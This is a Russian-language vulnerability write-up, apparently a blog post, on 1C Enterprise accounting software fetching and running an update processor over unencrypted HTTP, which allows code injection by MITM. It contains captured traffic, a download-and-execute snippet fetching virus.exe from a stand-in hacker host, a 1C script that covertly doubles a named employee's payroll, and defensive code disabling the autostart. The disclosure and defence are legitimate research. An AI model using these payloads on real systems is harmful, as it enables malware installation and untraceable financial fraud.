Я думаю все знают что такое 1С. Если не дома, то на работе в любимой бухгалтерии она точно есть.
Масштабы распространения действительно велики. По этому меня удивляет что так мало(нет?) исследований в области безопасности и уязвимостей ПО.
По этому если сообщество позволит я бы хотел рассказать об одном из своих исследований в этой области.
1С, как и любая организация, идущая в ногу со временем, старается предоставить конечному пользователю максимальное удобство при работе.
У 1С много конфигураций, своих и партнерских. Уязвимость определяется именно конфигурацией а не платформой. Моё исследование будет на примере конфигурации Бухгалтерия предприятия, редакция 2.0 (2.0.36.4), возможно уязвимы и некоторые другие конфигурации, где используются аналогичные механизмы.
Так-вот при запуске 1С мы видим авторизационное окно «Интернет поддержка пользователей».
На языке 1С это называется «обработка». Меня всегда смущало то что открывается она достаточно долго.
В ходе расследования удалось обнаружить следующее:
GET /files/unmanaged.epf?0.8194215912837794 HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
Расширение «epf» как раз стандартное расширение для обработок. Выкачиваю файл в ручную, открываю в конфигураторе и вижу ровно то что и должен.
Получается что при некотором стечении обстоятельств(об этом ниже) обработка выкачивается из интернета и запускается на выполнение. Значит если вместо дефолтной обработки сервер отдаст обработку злого захера хакера то…
Но давайте по порядку
С помощью WireShark'а я сделал дамп всего диалога 1С с сервером webits.1c.ru.
Все клиент-серверные диалоги не зашифрованы! Чистый HTTP.
Вот последовательность общения:
GET /services/WebItsService.xml HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
Server: nginx
Date: Sat, 09 Jun 2012 11:43:36 GMT
Content-Type: text/xml
Content-Length: 7657
Last-Modified: Tue, 17 Jan 2012 06:11:40 GMT
Connection: keep-alive
Accept-Ranges: bytes
<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions name=«WebItsServiceImplService» targetNamespace=«ws.webits.onec.ru» xmlns:ns1=«schemas.xmlsoap.org/soap/http» xmlns:soap=«schemas.xmlsoap.org/wsdl/soap/» xmlns:tns=«ws.webits.onec.ru» xmlns:wsdl=«schemas.xmlsoap.org/wsdl/» xmlns:xsd=«www.w3.org/2001/XMLSchema»>
<wsdl:types>
…
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
Ничего любопытного, сервер просто отдаёт XML файл, выкачиваем его к себе.
POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 132
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header/>
<soap:Body> </soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:36 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 182
Content-Language: ru
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<isReadyResponse xmlns="http://ws.webits.onec.ru">ready</isReadyResponse>
</soap:Body>
</soap:Envelope>
POST запрос на сервер, сервер отвечает о своей готовности «ready».
Повторяется 1й GET запрос, дублировать не буду.
POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 465
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header/>
<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<m:parameter>
<m:index>0</m:index>
<m:name>unmanaged</m:name>
<m:value>1.0.2.2</m:value>
</m:parameter>
</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:37 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 1305
Content-Language: ru
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<processResponse xmlns="http://ws.webits.onec.ru">
<commands>
<command>
<name>launch</name>
<parameters>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<name>bp</name>
<type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
<parameters
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<name>nameURI</name>
<type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<value>http://ws.webits.onec.ru</value>
<parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
</parameters>
<variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</command>
</commands>
</processResponse>
</soap:Body>
</soap:Envelope>
Или
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:37 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 1305
Content-Language: ru
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<processResponse xmlns="http://ws.webits.onec.ru">
<commands>
<command>
<name>download</name>
<parameters>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<name>unmanaged</name>
<type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<value>http://webits.1c.ru/files/unmanaged.epf?0.2508892420477489</value>
<parameters
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
</parameters>
<variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</command>
<command>
<name>launch</name>
<parameters>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<name>bp</name>
<type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
<parameters
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<name>nameURI</name>
<type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<value>http://ws.webits.onec.ru</value>
<parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
</parameters>
<variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</command>
</commands>
</processResponse>
</soap:Body>
</soap:Envelope>
А вот тут у нас два варианта развития событий. Как видно POST запросом 1С передает на сервер версию уже имеющейся в базе обработки "<m:value>1.0.2.2</m:value>"
1) Ответ сервера когда версия обработки актуальна.
2) Как раз наш вариант, когда сервер сообщает что нужно выкачать новую версию.
GET /files/unmanaged.epf?0.2508892420477489 HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:06 GMT
Content-Type: application/octet-stream
Content-Length: 234389
Last-Modified: Fri, 08 Jun 2012 13:12:48 GMT
Connection: keep-alive
Accept-Ranges: bytes
..............{идет пересылка обработки}
Тут как раз самый GET, сюда то мы и будем пихать свой код вместо обработки.
GET /stats.jsp HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
Version platform: 8.2.15.301
Place start: Start'
Name configuration: 77u/0JHRg9GF0LPQsNC70YLQtdGA0LjRj9Cf0YDQtdC00L/RgNC40Y/RgtC40Y8=
Version configuration: 2.0.36.4
Version Web-ITS: 1.0.2.2
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:07 GMT
Content-Type: application/octet-stream
Content-Length: 15
Last-Modified: Tue, 24 Jan 2012 06:01:34 GMT
Connection: keep-alive
Accept-Ranges: bytes
<body>OK</body>
Тут тоже всё ясно, клиент передает информацию о себе, сервер проверяет и дает отчет о готовности.
Повторяется 1й POST. Снова выкачивается XML файл.
POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 2479
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header/>
<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<m:parameter>
<m:index>0</m:index>
<m:name>versionConfiguration</m:name>
<m:type>startUp</m:type>
<m:value>2.0.36.4</m:value>
</m:parameter>
<m:parameter>
<m:index>1</m:index>
<m:name>versionPlatform</m:name>
<m:type>startUp</m:type>
<m:value>8.2.15.301</m:value>
</m:parameter>
<m:parameter>
<m:index>2</m:index>
<m:name>nameConfiguration</m:name>
<m:type>startUp</m:type>
<m:value>БухгалтерияПредприятия</m:value>
</m:parameter>
<m:parameter>
<m:index>3</m:index>
<m:name>versionWebIts</m:name>
<m:type>startUp</m:type>
<m:value>1.0.2.2</m:value>
</m:parameter>
<m:parameter>
<m:index>4</m:index>
<m:name>language</m:name>
<m:type>startUp</m:type>
<m:value>ru_RU</m:value>
</m:parameter>
<m:parameter>
<m:index>5</m:index>
<m:name>versionUpdateConfiguration</m:name>
<m:type>startUp</m:type>
<m:value>Версия 1.1.6.8</m:value>
</m:parameter>
<m:parameter>
<m:index>6</m:index>
<m:name>conditionalNameConfiguration</m:name>
<m:type>startUp</m:type>
<m:value>БП</m:value>
</m:parameter>
<m:parameter>
<m:index>7</m:index>
<m:name>enterPoint</m:name>
<m:type>startUp</m:type>
<m:value>systemStart</m:value>
</m:parameter>
<m:parameter>
<m:index>9</m:index>
<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
<m:name>authUrlPassword</m:name>
<m:type>session_startup</m:type>
<m:value>http://users.v8.1c.ru/webits.jsp?user=*******&password=**************;target=</m:value>
</m:parameter>
<m:parameter>
<m:index>10</m:index>
<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
<m:name>bp</m:name>
<m:type>session_startup</m:type>
<m:value>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:value>
</m:parameter>
<m:parameter>
<m:index>11</m:index>
<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
<m:name>userId</m:name>
<m:type>session_startup</m:type>
<m:value>94310</m:value>
</m:parameter>
</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:08 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 2250
Content-Language: ru
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<processResponse xmlns="http://ws.webits.onec.ru">
<commands>
<command>
<name>store.put</name>
<parameters>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</bp>
<name>session_id</name>
<type>session_startup</type>
<value>d0636be7-b5a0-43ea-acdf-0a35d5f50566</value>
<parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</bp>
<name>bp</name>
<type>session_startup</type>
<value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
<parameters
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
</parameters>
<variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</command>
<command>
<name>store.get</name>
<parameters>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<name>login</name>
<type>startup</type>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<name>password</name>
<type>startup</type>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
</parameters>
<variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</command>
</commands>
</processResponse>
</soap:Body>
</soap:Envelope>
Тут клиент отпять сообщает серверу еще больше данных в том числе логин и пароль для авторизации. А сервер отдает ему очередную порцию указаний.
Снова POST на выкачивания XML файла (1й)
POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 2738
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header/>
<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<m:parameter>
<m:index>0</m:index>
<m:name>versionConfiguration</m:name>
<m:type>startUp</m:type>
<m:value>2.0.36.4</m:value>
</m:parameter>
<m:parameter>
<m:index>1</m:index>
<m:name>versionPlatform</m:name>
<m:type>startUp</m:type>
<m:value>8.2.15.301</m:value>
</m:parameter>
<m:parameter>
<m:index>2</m:index>
<m:name>nameConfiguration</m:name>
<m:type>startUp</m:type>
<m:value>БухгалтерияПредприятия</m:value>
</m:parameter>
<m:parameter>
<m:index>3</m:index>
<m:name>versionWebIts</m:name>
<m:type>startUp</m:type>
<m:value>1.0.2.2</m:value>
</m:parameter>
<m:parameter>
<m:index>4</m:index>
<m:name>language</m:name>
<m:type>startUp</m:type>
<m:value>ru_RU</m:value>
</m:parameter>
<m:parameter>
<m:index>5</m:index>
<m:name>versionUpdateConfiguration</m:name>
<m:type>startUp</m:type>
<m:value>Версия 1.1.6.8</m:value>
</m:parameter>
<m:parameter>
<m:index>6</m:index>
<m:name>conditionalNameConfiguration</m:name>
<m:type>startUp</m:type>
<m:value>БП</m:value>
</m:parameter>
<m:parameter>
<m:index>7</m:index>
<m:name>enterPoint</m:name>
<m:type>startUp</m:type>
<m:value>systemStart</m:value>
</m:parameter>
<m:parameter>
<m:index>9</m:index>
<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
<m:name>authUrlPassword</m:name>
<m:type>session_startup</m:type>
<m:value>http://users.v8.1c.ru/webits.jsp?user=*******&password=************&target=</m:value>
</m:parameter>
<m:parameter>
<m:index>10</m:index>
<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
<m:name>bp</m:name>
<m:type>session_startup</m:type>
<m:value>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:value>
</m:parameter>
<m:parameter>
<m:index>11</m:index>
<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
<m:name>session_id</m:name>
<m:type>session_startup</m:type>
<m:value>*****************************</m:value>
</m:parameter>
<m:parameter>
<m:index>12</m:index>
<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
<m:name>userId</m:name>
<m:type>session_startup</m:type>
<m:value>94310</m:value>
</m:parameter>
</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:08 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 793
Content-Language: ru
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<processResponse xmlns="http://ws.webits.onec.ru">
<commands>
<command>
<name>ui.open</name>
<parameters>
<parameter>
<index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
<name>IndexForm</name>
<type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<value>f4</value>
<parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:nil="true" />
<commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</parameter>
</parameters>
<variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
/>
</command>
</commands>
</processResponse>
</soap:Body>
</soap:Envelope>
Вот так выглядит общение, как видно все очень просто.
Следующим шагом я накидал небольшой веб сервер, который копировал ответы сервера, но менял код обработки на мою.
Чтобы 1С не выпадало в ошибки нужно соблюсти некоторые правила при написании своей фейковой обработки:
1)Нужно объявить 4 реквизита
URIСервиса, ИмяWSОпределения, МестоЗапуска: Строкового типа
Параметры: Тип «Произвольный»
Заполнять их не обязательно.
2)Нужно создать форму с названием «Стартовая» и Объявить её основной.
Страшного в этом ничего нет, в событие формы «При открытии» можно сразу её «Закрыть();» и далее выполнять любой произвольный код, так что жертва на экране ничего не увидит.
Что мы можем сделать?
Самое очевидное для хакера будет:
HTTP = Новый HTTPСоединение("www.hackersite.com");
ИмяВременногоФайла=ПолучитьИмяВременногоФайла("exe");
HTTP.Получить("/virus.exe",ИмяВременногоФайла);
ЗапуститьПриложение(ИмяВременногоФайла);
Но есть и более забавные варианты:
Если РольДоступна("Бухгалтер") Тогда
//Можно таргетить не роль, а даже на конкретного пользователя.
Запрос=Новый Запрос();
Сотрудник=Справочники.ФизическиеЛица.НайтиПоНаименованию("Иванов Иван Иванович");
Запрос.Текст="ВЫБРАТЬ РАЗЛИЧНЫЕ
| НачислениеЗарплатыРаботникамОрганизацийНачисления.Ссылка
|ИЗ
| Документ.НачислениеЗарплатыРаботникамОрганизаций.Начисления КАК НачислениеЗарплатыРаботникамОрганизацийНачисления
|ГДЕ
| НачислениеЗарплатыРаботникамОрганизацийНачисления.Физлицо = &Сотрудник
| И НачислениеЗарплатыРаботникамОрганизацийНачисления.Ссылка.Дата МЕЖДУ &Дата1 И &Дата2";
Запрос.УстановитьПараметр("Сотрудник",Сотрудник);
Запрос.УстановитьПараметр("Дата1 ",НачалоМесяца(ТекущаяДата()));
Запрос.УстановитьПараметр("Дата2 ",КонецМесяца(ТекущаяДата()));
Результат=Запрос.Выполнить.Выбрать();
Пока Результат.Следующий() Цикл
Док=Результат.Ссылка.ПолучитьОбъект();
НужнаяСтрока=Док.Начисления.Найти(Сотрудник,"ФизЛицо");
Если НужнаяСтрока<>Неопределено Тогда
НужнаяСтрока.Начислено=НужнаяСтрока.Начислено*2;
Попытка
Если Док.Проведен=Истина Тогда
Док.Записать(РежимЗаписиДокумента.Проведение);
Иначе
Док.Записать();
КонецЕсли;
Исключение
//
КонецПопытки
КонецЕсли;
КонецЦикла;
КонецЕсли;
И любые другие извращения с базой данных. И никаких следов, все логи будут указывать на то что сделал это сам пользователь.
Всё усугубляется еще и тем что у многих 1С занесено в исключения в антивирусах и фаерволах, чтобы не было проблем с работой ключей защиты, особенно сетевых, да и вообще с программой.
В боевых условиях атака может быть совершена путем DNS спуфинга или MITM атакой с модификацией трафика, например Ettercap'ом.
Как защищаться?
По умолчанию для всех пользователей обработка будет выполняться при старте системы.
Можно воспользоваться приведенным ниже кодом чтобы отключить автозапуск обработки при старте 1С. Ну и не забывать отключать этот функционал для новых пользователей.
ВыбПользователи = ПользователиИнформационнойБазы.ПолучитьПользователей();
Если ВыбПользователи.Количество()>0 тогда
Для Каждого Пользователь Из ВыбПользователи Цикл
ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей","ПовторитьПопыткуПодключенияПриСтартеПрограммы", Ложь, , Пользователь.Имя);
ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ВсегдаПоказыватьПриСтартеПрограммы", Ложь , Пользователь.Имя);
Сообщить("Для пользователя " + Пользователь.Имя + " интернет-поддержка отключена");
КонецЦикла;
Иначе
ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ПовторитьПопыткуПодключенияПриСтартеПрограммы", Ложь);
ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ВсегдаПоказыватьПриСтартеПрограммы", Ложь);
Сообщить("Интернет-поддержка отключена");
КонецЕсли;
В саппорт 1С отписался пару дней назад.
Если сообществу окажется интересна данная тема, можно продолжить исследования в этой области.
Конечная цель исследования — не взлом, а улучшение нашей с вами защиты, по этому НЕ надо использовать эту информацию в незаконных целях.
Спасибо за внимание.
Автор: AndreyKu